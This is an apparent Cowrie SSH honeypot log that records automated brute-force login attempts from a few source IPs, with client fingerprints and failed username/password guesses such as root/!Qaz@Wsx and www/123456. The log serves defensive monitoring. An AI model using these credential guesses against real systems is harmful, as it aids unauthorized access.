{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:58.664563Z","src_ip":"176.65.139.95","session":"1c1a39f80167","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:58.750744Z","src_ip":"176.65.139.95","session":"1c1a39f80167","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Qaz@Wsx","message":"login attempt [root/!Qaz@Wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:59.037171Z","src_ip":"176.65.139.95","session":"1c1a39f80167","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:00.122578Z","src_ip":"176.65.139.95","session":"1c1a39f80167","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54568,"dst_ip":"159.203.135.109","dst_port":22,"session":"81fc31a3c09d","protocol":"ssh","message":"New connection: 176.65.139.95:54568 (159.203.135.109:22) [session: 81fc31a3c09d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:05.119328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:05.124622Z","src_ip":"176.65.139.95","session":"81fc31a3c09d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:05.238753Z","src_ip":"176.65.139.95","session":"81fc31a3c09d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:05.516086Z","src_ip":"176.65.139.95","session":"81fc31a3c09d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:06.604543Z","src_ip":"176.65.139.95","session":"81fc31a3c09d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35622,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a23a7a9dab9","protocol":"ssh","message":"New connection: 176.65.139.95:35622 (159.203.135.109:22) [session: 5a23a7a9dab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:11.414844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:11.420959Z","src_ip":"176.65.139.95","session":"5a23a7a9dab9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:11.508943Z","src_ip":"176.65.139.95","session":"5a23a7a9dab9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:11.899777Z","src_ip":"176.65.139.95","session":"5a23a7a9dab9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:13.252575Z","src_ip":"176.65.139.95","session":"5a23a7a9dab9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35624,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1508b65c22a","protocol":"ssh","message":"New connection: 176.65.139.95:35624 (159.203.135.109:22) [session: c1508b65c22a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:17.908442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:17.913609Z","src_ip":"176.65.139.95","session":"c1508b65c22a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:18.026165Z","src_ip":"176.65.139.95","session":"c1508b65c22a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:18.476261Z","src_ip":"176.65.139.95","session":"c1508b65c22a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42540,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc8d04ac9b2b","protocol":"ssh","message":"New connection: 159.203.92.129:42540 (159.203.135.109:22) [session: cc8d04ac9b2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:18.684215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:18.689094Z","src_ip":"159.203.92.129","session":"cc8d04ac9b2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:18.693765Z","src_ip":"159.203.92.129","session":"cc8d04ac9b2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"DisabilityWhiteList","password":"DisabilityWhiteList","message":"login attempt [DisabilityWhiteList/DisabilityWhiteList] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:18.712404Z","src_ip":"159.203.92.129","session":"cc8d04ac9b2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:19.569300Z","src_ip":"176.65.139.95","session":"c1508b65c22a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:19.719828Z","src_ip":"159.203.92.129","session":"cc8d04ac9b2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":45652,"dst_ip":"159.203.135.109","dst_port":22,"session":"17f12a0bfd90","protocol":"ssh","message":"New connection: 176.65.139.95:45652 (159.203.135.109:22) [session: 17f12a0bfd90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:24.478681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:24.484736Z","src_ip":"176.65.139.95","session":"17f12a0bfd90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:24.570236Z","src_ip":"176.65.139.95","session":"17f12a0bfd90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:24.841048Z","src_ip":"176.65.139.95","session":"17f12a0bfd90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:26.130804Z","src_ip":"176.65.139.95","session":"17f12a0bfd90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":34388,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e6df1d3b6d7","protocol":"ssh","message":"New connection: 176.65.139.95:34388 (159.203.135.109:22) [session: 5e6df1d3b6d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:30.824006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:30.828959Z","src_ip":"176.65.139.95","session":"5e6df1d3b6d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:30.948591Z","src_ip":"176.65.139.95","session":"5e6df1d3b6d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345","message":"login attempt [root/abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:31.219908Z","src_ip":"176.65.139.95","session":"5e6df1d3b6d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:32.310543Z","src_ip":"176.65.139.95","session":"5e6df1d3b6d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":34392,"dst_ip":"159.203.135.109","dst_port":22,"session":"41a56b60d484","protocol":"ssh","message":"New connection: 176.65.139.95:34392 (159.203.135.109:22) [session: 41a56b60d484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:37.430437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:37.435604Z","src_ip":"176.65.139.95","session":"41a56b60d484","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:37.518463Z","src_ip":"176.65.139.95","session":"41a56b60d484","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"liyang","password":"123456","message":"login attempt [liyang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:37.952016Z","src_ip":"176.65.139.95","session":"41a56b60d484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:39.149369Z","src_ip":"176.65.139.95","session":"41a56b60d484","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":49990,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c649394065b","protocol":"ssh","message":"New connection: 79.116.23.158:49990 (10.17.0.5:22) [session: 4c649394065b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:41.714282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:21:41.719175Z","src_ip":"79.116.23.158","session":"4c649394065b","protocol":"ssh"}
